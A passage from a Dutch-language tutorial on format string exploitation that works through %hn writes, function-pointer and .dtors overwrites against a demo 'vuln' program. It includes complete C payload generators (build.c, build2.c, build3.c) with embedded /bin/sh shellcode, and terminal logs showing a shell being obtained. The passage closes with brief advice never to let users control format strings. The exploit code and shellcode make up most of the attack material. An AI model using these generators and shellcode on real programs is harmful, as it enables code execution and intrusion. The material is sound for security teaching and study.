<p>Helaas is het, zoals we al zeiden, niet altijd mogelijk om 128MB aan 
   buffers te gebruiken. Het format <code>%n</code> wacht op een pointer
   naar een geheel getal, dus vier bytes. Het is mogelijk om z'n gedrag
   te veranderen, zodat hij naar een <code>short int</code> - slechts  2
   bytes - wijst, dankzij de instructie <code>%hn</code>. Op deze manier
   delen we het gehele getal waarnaar we willen schrijven op in in twee
   delen. Het grootst schrijfbare formaat zal dan passen in <code>0xffff</code>
   bytes (65535 bytes). Dus, in het voorgaande voorbeeld transformeren we
   de operatie  van het schrijven van "<code>0x8048654</code> op het adres
   <code>0xbffff5d4</code>" in twee succesievelijke operaties:</p>
  
<ul>
   <li>Schrijf <code>0x8654</code> in het adres <code>0xbffff5d4</code>
  </li>

   <li>het schrijven van <code>0x0804</code> in het adres   
       <code>0xbffff5d4+2=0xbffff5d6</code>
  </li>
 
</ul>

   De tweede schrijfoperatie vindt plaats op de "high bytes" van het gehele
   getal, dit verklaart het wisselen van 2 bytes.  

<p>Echter, <code>%n</code> (of <code>%hn</code>) telt het totale aantal 
   karakters dat in de string zit. Dit aantal kan alleen maar toenemen. 
   We moeten eerst de kleinste van de twee waardes wegschrijven Daarna  
   zal de tweede format opdracht slechts het verschil tussen het benodigde 
   aantal en het eerste getal als verschil aangeven. In ons eerste voorbeeld 
   bijvoorbeeld, zal de format operatie <code>%.2052x</code> (2052 = 0x0804) 
   worden en de tweede opdracht wordt dan <code>%.32336x</code> (32336
   = 0x8654 - 0x0804). Iedere <code>%hn</code> die hier direct na wordt
   geplaatst, zal het correcte aantal bytes opgeven.</p>
  
<p>We hoeven alleen maar aan te geven waar er geschreven moet worden
   naar beide <code>%hn</code>. De operant <code>m$</code> zal ons hierbij 
   erg veel hulp bieden. Als we de adressen aan heb begin van de kwetsbare 
   buffer bewaren, hoeven we alleen maar omhoog te gaan in de stack om de 
   offset van het begin van de buffer te vinden met behulp van het <code>m$</code>
   format. Daarna zitten beide adressen op een offset van respectievelijk
   <code>m</code> en <code>m+1</code>. Wanneer we de eerste 8 bytes van
   de buffer gebruiken op het te overschrijven adres te bewaren, moet de
   eerste waarde die geschreven is met 8 in waarde verminderd worden.</p>
  
<p>Onze format string ziet er nu als volgt uit:</p>
  
<center> <code>"[addr][addr+2]%.[val. min. - 8]x%[offset]$hn%.[val.
         max -   val. min.]x%[offset+1]$hn"</code> </center>
  
<p>Het <code>build</code> programma maakt gebruik van drie argumenten om
   een format string te maken: </p>
  
<ol>
   <li>het adres om te overschrijven;</li>

   <li>de waarde om daarin te schrijven;</li>

   <li>De offset (geteld als woorden) vanaf het begin van de kwetsbare 
   buffer.</li>
</ol>
 
<pre>/* build.c */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;string.h&gt;

/**
   De 4 bytes waarin we moeten schrijven zijn op de volgende manier geplaatst:
   HH HH LL LL
   De variabelen die eindigen met "*h" verwijzen naar het hogere deel
   van het woord (H). De variabelen die eindigen op een  "*l" verwijzen
   naar het lage deel van het woord (L).
   */
char* build(unsigned int addr, unsigned int value,
  unsigned int where) {
  
  /* te lui om de werkelijke lengte te evalueren ... :*/
  unsigned int length = 128;
  unsigned int valh;
  unsigned int vall;
  unsigned char b0 = (addr &gt;&gt; 24) &amp; 0xff;
  unsigned char b1 = (addr &gt;&gt; 16) &amp; 0xff;
  unsigned char b2 = (addr &gt;&gt;  8) &amp; 0xff;
  unsigned char b3 = (addr  ) &amp; 0xff;
  
  char *buf;
  
  /* de waarde oppoetsen */
  valh = (value &gt;&gt; 16) &amp; 0xffff; //top
  vall = value &amp; 0xffff; //bottom
  
  fprintf(stderr, "adr : %d (%x)\n", addr, addr);
  fprintf(stderr, "val : %d (%x)\n", value, value);
  fprintf(stderr, "valh: %d (%.4x)\n", valh, valh);
  fprintf(stderr, "vall: %d (%.4x)\n", vall, vall);
  
  /* buffer allocatie */
  if ( ! (buf = (char *)malloc(length*sizeof(char))) ) {

  fprintf(stderr, "Can't allocate buffer (%d)\n", length);
  exit(EXIT_FAILURE);
}
  memset(buf, 0, length);
  
  /* tijd om te bouwen */
  if (valh &lt; vall) {
  
 snprintf(buf,
 length,
 "%c%c%c%c"   /* hoge adres */
 "%c%c%c%c"   /* lage adres */
 
 "%%.%hdx"/* schrijft de waarde voor de eerste %hn */
 "%%%d$hn"/* de %hn voor het hoge deel */
 
 "%%.%hdx"/* schrijft de waarde voor de tweede %hn */
 "%%%d$hn"/* de %hn voor het lage deel */
 ,
 b3+2, b2, b1, b0,/* hoge adres */
 b3, b2, b1, b0,  /* lage adres */
 
 valh-8,  /* schrijft de waarde voor de eerste %hn */
 where,   /* de %hn voor het hoge deel */
 vall-valh,   /* set the value for the second %hn */
  where+1  /* de %hn voor het lage deel */
 );
 
} else {
 
snprintf(buf,
 length,
 "%c%c%c%c"   /* hoge adres */
 "%c%c%c%c"   /* lage adres */
 
 "%%.%hdx"/* schrijft de waarde voor de eerste %hn */
 "%%%d$hn"/* de %hn voor het hoge deel */
 
 "%%.%hdx"/* schrijft de waarde voor de tweede %hn */
 "%%%d$hn"/* de %hn voor het lage deel */
 ,
 b3+2, b2, b1, b0,/* hoge adres */
 b3, b2, b1, b0,  /* lage adres */
 
 vall-8,  /* schrijft de waarde voor de eerste %hn */
 where+1, /* de %hn voor het hoge deel */

 valh-vall,   /* schrijft de waarde voor de tweede %hn */
 where/* de %hn voor het lage deel */
 );
  }
  return buf;
}

int
main(int argc, char **argv) {
  
  char *buf;
  
  if (argc &lt; 3)
return EXIT_FAILURE;
  buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
  strtoul(argv[2], NULL, 16),  /* valeur */
  atoi(argv[3]));  /* offset */
  fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
  printf("%s",  buf);
  return EXIT_SUCCESS;
}
</pre>
  
<p> De positie van het argument verandert volgens de vraag of de
eerste waarde in het hoge of lage deel van het woord geschreven wordt.
Laten we eens kijken wat we nu krijgen, zonder geheugenproblemen.</p>
  
<p>Eerst laat ons eenvoudige voorbeeld on raden naar de offset:</p>
 
<pre>&gt;&gt;./vuln AAAA%3\$x
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5d4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048644 (0xbffff5d4)
Welcome in "helloWorld"
</pre>
  
<p>Dit is altijd hetzelfde: 3. Aangezien dit programma geschreven is
   om uit te leggen wat er gebeurt, hebben we alle informatie die we nodig 
   hebben al in handen: de <code>ptrf</code> en <code>accesForbidden()</code> 
   adressen. We bouwen nu onze buffer volgens deze waardes:</p>
 
<pre>&gt;&gt;./vuln `./build 0xbffff5d4 0x8048664 3`
adr : -1073744428 (bffff5d4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[&Ouml;&otilde;&yuml;&iquest;&Ocirc;&otilde;&yuml;&iquest;%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [&Ouml;&otilde;&yuml;&iquest;&Ocirc;&otilde;&yuml;&iquest;00000000000000000000d000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000
00000000] (127)
after : ptrf() = 0x8048644 (0xbffff5b4)
Welcome in "helloWorld"

</pre>

   Er gebeurt niets! Dit komt doordat we een langere buffer gebruiken 
   dan in de format string in het voorgaande voorbeeld, hierdoor is de
   stack verplaatst. <code>ptrf</code> is van <code>0xbffff5d4</code> naar
   <code>0xbffff5b4</code>) verplaatst. Onze waardes moeten aangepast worden: 

<pre>&gt;&gt;./vuln `./build 0xbffff5b4 0x8048664 3`
adr : -1073744460 (bffff5b4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[&para;&otilde;&yuml;&iquest;&acute;&otilde;&yuml;&iquest;%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [&para;&otilde;&yuml;&iquest;&acute;&otilde;&yuml;&iquest;0000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
0000000000000000] (127)
after : ptrf() = 0x8048664 (0xbffff5b4)
You shouldn't be here "accesForbidden"
</pre>

 Nu hebben we gewonnen!!!  

<h2>Andere mogelijkheden om uit te buiten</h2>

   We begonnen dit artikel, met aan te geven dat format bugs een gevaarlijke 
   en re&euml;ele kwetsbaarheid vormen. Een andere belangrijke zorg is de  
   manier waarom ze ge&euml;xploiteerd kunnen worden. De Buffer overflow methode
   vertrouwt op de mogelijkheid om het return adres van een functie te kunnen 
   schrijven, om gebruik te maken van deze kwetsbaarheid. Daarna hoef
   je alleen nog maar willekeurig te proberen en te hopen dat je scripts
   zo goed zijn dat je de juiste waardes vindt (zelfs de "eggshell" moet
   gevuld zijn met NOP). Je hoeft je bij format bugs hier allemaal geen
   zorgen over te maken en je bent niet meer beperkt tot het overschrijven
   van het retouradres.  

<p>We hebben gezien dat format bugs ons de mogelijkheid geven om waar
   dan ook te schrijven. Nu zullen we een exploitatie zien op basis van
   de <code>.dtors</code> sectie.</p>
  
<p>Als een programma is gecompileerd met <code>gcc</code>, kan je een   
   bouwersafdeling vinden (geheten <code>.ctors</code>) en een slopersafdeling 
   (geheten <code>.dtors</code>). Ieder van deze secties bevat pointers 
   naar functies die respectievelijk uitgevoerd dienen te worden voordat
   de <code>main()</code> sectie van de functies wordt uitgevoerd en daarna. 
</p>
 
<pre>/* cdtors */

void start(void) __attribute__ ((constructor));
void end(void) __attribute__ ((destructor));

int main() {
  printf("in main()\n");
}

void start(void) {
  printf("in start()\n");
}

void end(void) {
  printf("in end()\n");
}
</pre>

 Ons kleine programma laat dat mechanisme zien: 

<pre>&gt;&gt;gcc cdtors.c -o cdtors
&gt;&gt;./cdtors
in start()
in main()
in end()
</pre>

 Al deze secties zijn op dezelfde manier opgebouwd: 

<pre>&gt;&gt;objdump -s -j .ctors cdtors

cdtors: file format elf32-i386

Contents of section .ctors:
 804949c ffffffff dc830408 00000000   ............
&gt;&gt;objdump -s -j .dtors cdtors

cdtors: file format elf32-i386

Contents of section .dtors:
 80494a8 ffffffff f0830408 00000000   ............
</pre>

   We controleren of het aangegeven adres overeenkomt met degenen die 
   in onze functies staan (let op: het voorafgaande <code>objdump</code> 
   commando geeft de adressen weer in een kleine "endian"): 

<pre>&gt;&gt;objdump -t cdtors | egrep "start|end"
080483dc g F .text  00000012  start
080483f0 g F .text  00000012  end
</pre>

   Dus, deze sectie bevat de adressen van de functies die aan het begin 
   (of aan het einde) gedraaid worden, binnen een frame met 
   <code>0xffffffff</code> en <code>0x00000000</code>.  

<p>Laten we dit toepassen op <code>vuln</code> door gebruik te maken van 
   de format string. We moeten nu eerst de locatie in het geheugen van deze 
   secties bepalen, maar dat is heel eenvoudig wanneer je de "binaries"
   bij de hand hebt ;-). Maak eenvoudigweg gebruik van de <code>objdump</code> 
   zoals we eerder ook al deden:</p>
 
<pre>&gt;&gt; objdump -s -j .dtors vuln

vuln: file format elf32-i386

Contents of section .dtors:
 8049844 ffffffff 00000000........
</pre>

 Hier is het! We hebben nu alles wat we nodig hebben.  

<p>Het doel van deze exploit is het vervangen van het adres van een functie
   in een van deze secties door een van de functies die we willen uitvoeren.
   Als die secties leeg zijn, hoeven we alleen maar de <code>0x00000000</code>
   te overschrijven, aangezien deze het einde van de sectie aangeeft. Dit
   zorgt voor een <code>segmentation fault</code> omdat het programma deze
   <code>0x00000000</code> niet kan vinden, daarom neemt het de volgende
   waarde aan als het adres van een functie, ook al is dat waarschijnlijk
   niet waar.</p>
  
<p>Eigenlijk is de enige interessante sectie de slopers-sectie 
   (<code>.dtors</code>):
   we hebben geen tijd om iets te doen voor de bouwerssectie 
   (<code>.ctors</code>). Normaal gesproken is het voldoende om het adres 
   dat 4 bytes na het begin van de sectie is geschreven, te vervangen 
   (de <code>0xffffffff</code>):</p>
  
<ul>
   <li>Als er daar geen adres staat, overschrijven we de 
       <code>0x00000000</code>;</li>

    <li>Anders is de eerste functie die uitgevoerd wordt van ons.</li>
</ul>
  
<p>Laten we teruggaan naar ons voorbeeld. We vervangen <code>0x00000000</code>
   in sectie <code>.dtors</code>, geplaatst in <code>0x8049848=0x8049844+4</code>,
   met het adres van de <code>accesForbidden()</code> functie, die we al
   kennen (<code>0x8048664</code>):</p>
 
<pre>&gt;./vuln `./build 0x8049848 0x8048664 3`
adr : 134518856 (8049848)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[JH%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = bffff694 (0xbffff51c)
helloWorld() = 0x8048648
accessForbidden() = 0x8048664

before : ptrf() = 0x8048648 (0xbffff434)
buffer = [JH0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000] (127)
after : ptrf() = 0x8048648 (0xbffff434)
Welcome in "helloWorld"
You shouldn't be here "accesForbidden"
Segmentation fault (core dumped)
</pre>

   Alles draait perfect, <code>main()</code> <code>helloWorld()</code>
  en daarna eindigt hij. De sloper wordt nu aangeroepen. De sectie 
  <code>.dtors</code> begint hier met het adres van 
  <code>accesForbidden()</code>. Daarna begint de verwachtte "coredump", 
  aangezien hier geen ander echt functie adres te vinden is.  

<h2>Aaaah, geef me een commandoregel</h2>
  
<p>We hebben nu wat eenvoudige exploitatiemethodes gezien. Door gebruik
   te maken van hetzelfde principe kunnen we een commandoregel krijgen,
   hetzij door het ingeven van een commando- regelopdracht met behulp van
   <code>argv[]</code> of een omgevingsvariabele naar het kwetsbare programma.
   We hoeven alleen maar het correcte adres in te geven (d.w.z. het adres
   van de "eggshell") in sectie <code>.dtors</code>.</p>
  
<p>Nu weten we dus:</p>
  
<ul>
   <li>hoe de stack gemanipuleerd moet worden binnen de grenzen van de
     redelijkheid (eigenlijk is er in theorie geen grens aan, maar het wordt
     nogal snel pijnlijk   om de woorden die in de stack staan een voor een
     terug te vinden);</li>

   <li>hoe de te verwachtten waarde op het juiste adres moet worden geschreven.
   </li>
 
</ul>
  
<p>Echter, in werkelijkheid is het kwetsbare programma niet zo "vriendelijk" 
   als het programma in ons voorbeeld. We zullen een methode introduceren
   die het mogelijk maakt om commandoregelcode in geheugen te plaatsen en
   om het <b>exacte</b> adres daarvan te achterhalen (dit betekent: geen
   NOP meer aan het begin van de commandoregelcode).</p>
  
<p>Het idee is gebaseerd op recursieve oproepen van de functie 
   <code>exec*()</code>:</p>
 
<pre>/* argv.c */
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;


main(int argc, char **argv) {

  char **env;
  char **arg;
  int nb = atoi(argv[1]), i;
  env= (char **) malloc(sizeof(char *));
  env[0] = 0;
  arg= (char **) malloc(sizeof(char *) * nb);
  arg[0] = argv[0];
  arg[1] = (char *) malloc(5);
  snprintf(arg[1], 5, "%d", nb-1);
  arg[2] = 0;
  
  /* printings */
  printf("*** argv %d ***\n", nb);
  printf("argv = %p\n", argv);
  printf("arg = %p\n", arg);
  for (i = 0; i&lt;argc; i++) {
printf("argv[%d] = %p (%p)\n", i, argv[i], &amp;argv[i]);
printf("arg[%d] = %p (%p)\n", i, arg[i], &amp;arg[i]);
  }
  printf("\n");
  
  /* recall */
  if (nb == 0)
exit(0);
  execve(argv[0], arg, env);
}
</pre>

   De input is een <code>nb</code> geheel getal dat het programma recursief
   <code>nb+1</code> maal zal aanroepen: 

<pre>&gt;&gt;./argv 2
*** argv 2 ***
argv = 0xbffff6b4
arg = 0x8049828
argv[0] = 0xbffff80b (0xbffff6b4)
arg[0] = 0xbffff80b (0x8049828)
argv[1] = 0xbffff812 (0xbffff6b8)
arg[1] = 0x8049838 (0x804982c)

*** argv 1 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

*** argv 0 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)
</pre>
  
<p>We zien onmiddelijk wat het gealloceerde adres voor <code>arg</code> 
   en <code>argv</code> is en deze verplaatsen niet meer na de tweede aanroep. 
   We gaan deze eigenschap gebruiken in onze exploitatie. We hoeven alleen 
   maar ons <code>build</code> programma enigzins aan te pakken om het
   zichzelf te laten aanroepen voordat het <code>vuln</code> aanroept. Op
   deze manier krijgen we de precieze <code>argv</code> adressen, en ook
   degene van onze commandoregelcode:</p>
 
<pre>/* build2.c */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;string.h&gt;

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
//Same function as in build.c
}

int
main(int argc, char **argv) {

char *buf;
char shellcode[] =
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";
 
  if(argc &lt; 3)
return EXIT_FAILURE;

  if (argc == 3) {
  
fprintf(stderr, "Calling %s ...\n", argv[0]);
buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
&amp;shellcode,
atoi(argv[2]));  /* offset */

fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
execlp(argv[0], argv[0], buf, &amp;shellcode, argv[1], argv[2], NULL);

} else {
  
fprintf(stderr, "Calling ./vuln ...\n");
fprintf(stderr, "sc = %p\n", argv[2]);
buf = build(strtoul(argv[3], NULL, 16),  /* adresse */
argv[2],
atoi(argv[4]));  /* offset */

fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));

execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL);
  }
  
  return EXIT_SUCCESS;
}
</pre>
  
<p>De truc bestaat hieruit dat we weten wat we aan moeten roepen aan
   de hand van het aantal argumenten die het programma ontvangen heeft.
   Om te beginnen met hier gebruik van te maken, moeten we <code>build2</code>
   het adres dat we willen hebben, geven om weg te schrijven, inclusief
   de offset. We hoeven de waarde niet meer aan te geven, omdat dit wordt
   ge&euml;valueerd door onze volgende aanroepen.</p>

<p>Om succesvol te zijn, moeten we dezelfde geheugen-layout houden tussen
   de verschillende aanroepen van <code>build2</code> en daarna 
   <code>vuln</code> (dat is waarom we de <code>build()</code> functie 
   aanroepen, om dezelfde geheugenafdruk te kunnen gebruiken):</p>
 
<pre>&gt;&gt;./build2 0xbffff634 3
Calling ./build2 ...
adr : -1073744332 (bffff634)
val : -1073744172 (bffff6d4)
valh: 49151 (bfff)
vall: 63188 (f6d4)
[6&ouml;&yuml;&iquest;4&ouml;&yuml;&iquest;%.49143x%3$hn%.14037x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff88f
adr : -1073744332 (bffff634)
val : -1073743729 (bffff88f)
valh: 49151 (bfff)
vall: 63631 (f88f)
[6&ouml;&yuml;&iquest;4&ouml;&yuml;&iquest;%.49143x%3$hn%.14480x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6&ouml;&yuml;&iquest;4&ouml;&yuml;&iquest;000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000
00000000000] (127)
after : ptrf() = 0xbffff88f (0xbffff634)
Segmentation fault (core dumped)
</pre>
  
<p>Waarom werkt dit niet? We zeiden al dat we een exacte copy van het   
   geheugen moesten bouwen tussen de 2 aanroepen.....en dat hebben we niet 
   gedaan! <code>argv[0]</code> (de naam van het programma) is veranderd. 
   Ons programma heet eerst <code>build2</code> (6 bytes) en <code>vuln</code> 
   erna (4 bytes). Er is hier een verschil van 2 bytes, en dat is precies
   de waarde die je in het voorbeeld hierboven kan vinden. Het adres van
   de commandoregelcode wordt gedurende de tweede aanroep van 
   <code>build2</code> gegeven door <code>sc=0xbffff88f</code> maar de 
   inhoud van <code>argv[2]</code> in <code>vuln</code> geeft 
   <code>20xbffff891</code>: onze 2 bytes. Om dit probleem op te lossen, 
   is het voldoende om onze <code>build2</code> te hernoemen naar iets van
   maar 4 letters, dus <code>bui2</code>:</p>
 
<pre>&gt;&gt;cp build2 bui2
&gt;&gt;./bui2 0xbffff634 3
Calling ./bui2 ...
adr : -1073744332 (bffff634)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[6&ouml;&yuml;&iquest;4&ouml;&yuml;&iquest;%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff891
adr : -1073744332 (bffff634)
val : -1073743727 (bffff891)
valh: 49151 (bfff)
vall: 63633 (f891)
[6&ouml;&yuml;&iquest;4&ouml;&yuml;&iquest;%.49143x%3$hn%.14482x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6&ouml;&yuml;&iquest;4&ouml;&yuml;&iquest;0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
000000000000000] (127)
after : ptrf() = 0xbffff891 (0xbffff634)
bash$
</pre>
  
<p>Alweer gewonnen: Het werkt zo veel beter ;-) De "eggshell" staat in
   de stack en we hebben het adres waar naartoe wordt gewezen door 
   <code>ptrf</code> veranderd, zodat het naar onze commandoregelcode 
   wijst. Dit kan natuurlijk alleen maar gebruikt worden als de stack
   uitvoerbaar is.</p>
  
<p>Maar we hebben gezien dat format strings ons toestaan om overal te
   schrijven: laten we nu eens een sloper aan ons programma toevoegen in   
   de <code>.dtors</code> sectie:</p>
 
<pre>&gt;&gt;objdump -s -j .dtors vuln

vuln: file format elf32-i386

Contents of section .dtors:
80498c0 ffffffff 00000000........
&gt;&gt;./bui2 80498c4 3
Calling ./bui2 ...
adr : 134518980 (80498c4)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[&AElig;&Auml;%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff894
adr : 134518980 (80498c4)
val : -1073743724 (bffff894)
valh: 49151 (bfff)
vall: 63636 (f894)
[&AElig;&Auml;%.49143x%3$hn%.14485x%4$hn] (34)
0 0xbffff86a
1 0xbffff871
2 0xbffff894
3 0xbffff8c2
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [&AElig;&Auml;000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
0000000000000000] (127)
after : ptrf() = 0x80486c4 (0xbffff634)
Welcome in "helloWorld"
bash$ exit
exit
&gt;&gt;</pre>
  
<p>Hier wordt er geen <code>coredump</code> gegenereerd als we onze sloper
   be&euml;indigen. Dit komt doordat onze commandoregelcode een 
   <code>exit(0)</code> aanroep bevat.</p>
  
<p>Tenslotte een laatste toegift, hier is <code>build3.c</code> deze
   geeft ook een commandoregel, maar ditmaal met behulp van een 
   omgevingsvariabele:</p>
 
<pre>/* build3.c */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;string.h&gt;

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
//M&ecirc;me fonction que dans build.c
}

int main(int argc, char **argv) {
  char **env;
  char **arg;
  unsigned char *buf;
  unsigned char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  
  if (argc == 3) {
  
fprintf(stderr, "Calling %s ...\n", argv[0]);
buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
&amp;shellcode,
atoi(argv[2]));  /* offset */

fprintf(stderr, "%d\n", strlen(buf));
fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
printf("%s",  buf);
arg = (char **) malloc(sizeof(char *) * 3);
arg[0]=argv[0];
arg[1]=buf;
arg[2]=NULL;
env = (char **) malloc(sizeof(char *) * 4);
env[0]=&amp;shellcode;
env[1]=argv[1];
env[2]=argv[2];
env[3]=NULL;
execve(argv[0],arg,env);
  } else
  if(argc==2) {
fprintf(stderr, "Calling ./vuln ...\n");
fprintf(stderr, "sc = %p\n", environ[0]);
buf = build(strtoul(environ[1], NULL, 16),  /* adresse */
environ[0],
atoi(environ[2]));  /* offset */

fprintf(stderr, "%d\n", strlen(buf));
fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
printf("%s",  buf);
arg = (char **) malloc(sizeof(char *) * 3);
arg[0]=argv[0];
arg[1]=buf;
arg[2]=NULL;
execve("./vuln",arg,environ);
  }
  return 0;
}
</pre>
  
<p>Ook hier moeten we voorzichtig zijn en ervoor zorgen dat we het geheugen
   niet veranderen, aangezien de omgevingsvariabele in de stack staat (m.a.w.
   het veranderen van de positie van de variabelen en de argumenten). De
   naam van de "binary's" moet hetzelfde aantal karakters bevatten als de
   naam van het kwetsbare programma <code>vuln</code>.</p>
  
<p>Hier kiezen we ervoor om de globale variabele <code>extern char 
   **environ</code> te gebruiken om de benodigde waardes in te stellen:</p> 

<ol>
   <li><code>environ[0]</code>: bevat commandoregelcode;</li>

   <li><code>environ[1]</code>: bevat het adres waar we naar verwachten
       te schrijven;</li>

   <li><code>environ[2]</code>: bevat de offset.</li>
 
</ol>

   We laten de rest aan je eigen verbeelding over, speel met deze 
   gegevens.......  dit (te) lange artikel is al gevuld met te veel broncode
   en testprogramma's. 
 
<h2>Conclusie : Hoe format bugs te vermijden?</h2>

   Zoals aangetoond is in dit artikel, is het grootste probleem met
   deze bug het feit dat de gebruiker de vrijheid heeft om z'n eigen format
   string te bouwen. De oplossing om zulke fouten te vermijden is heel eenvoudig:
   <font color="#ff0000"> laat een gebruiker nooit z'n eigen format string
   gebruiken</font>! Over het algemeen betekent dit dat alleen de
   functiestring <code>"%s"</code> ingebouwd moet worden wanneer een functie
   als <code>printf()</code>, <code>syslog()</code>, ..., wordt aangeroepen.
   Als je het echt niet kan vermijden, dan moet de input van de gebruiker
   zeer zorgvuldig worden gecontroleerd. 

<hr>  

<h2>Erkentelijkheid</h2>

   De auteurs willen Pascal <em>Kalou</em> Bouchareine bedanken voor  
   zijn geduld (hij heeft moeten uitzoeken waarom ons gebruik van de commandoregel
   in de stack niet werkte....aangezien dezelfde stack niet uitvoerbaar
   was), zijn ide&euml;en (en meer in het bijzonder de <code>exec*()</code> truc),
   zijn aanmoedigingen.... maar ook voor zijn artikel over format bugs dat,
   behalve voor onze interesse in deze vraag, ook zorgde voor intense 
   hersenkrampen ;-)  
<p></p>
  
<h2>Links</h2>
  
<ul>
   <li><em>Format Bugs: What are they, Where did they come from, How 
       to exploit them</em> door lamagra: <a href="http://lamagra.sekure.de/"
       >lamagra.sekure.de</a></li>

   <li><em>Format string vulnerability</em> door P. Bouchareine: <a href=
   "http://www.hert.org">www.hert.org</a></li>

   <li><em>Format String Attacks</em> door Tim Newsham: <a href=
   "http://www.guardent.com">http://www.guardent.com</a></li>

   <li><em>w00w00 on Heap Overflows</em> deMatt Conover (a.k.a. Shok) &amp; 
   w00w00 Security Team: <a href="http://www.w00w00.org"
   >http://www.w00w00.org</a></li>

   <li><em>Overwriting the .dtors section</em> door Juan M. Bello Rivas 
   (a.k.a. rwxrwxrwx): <a href="http://synnergy.net">http://synnergy.net</a>
   </li>
 
</ul>
 
<hr>  
<h4>Voetnoten</h4>
  
<dl>
  <dt><a name="foot1"></a>... commando's<a name="foot1" href="#foot1"></a>
      <sup><a href="#foot1" name="foot1">1</a></sup></dt>

  <dd>het woord <em>commando</em> betekent hier alles dat op de format  
      van de string betrekking heeft: de breedte, de nauwkeurigheid, ...</dd>
</dl>
  
<dl>
  <dt><a name="foot2"></a>... bytes<a name="foot2" href="#foot2"></a><sup><a
      href="#foot2" name="foot2">2</a></sup></dt>
  <dd>De -1 komt van het laatste karakter dat gereserveerd is voor  
      de '\0'.</dd>
</dl>
 
<hr> 
</body>
</html>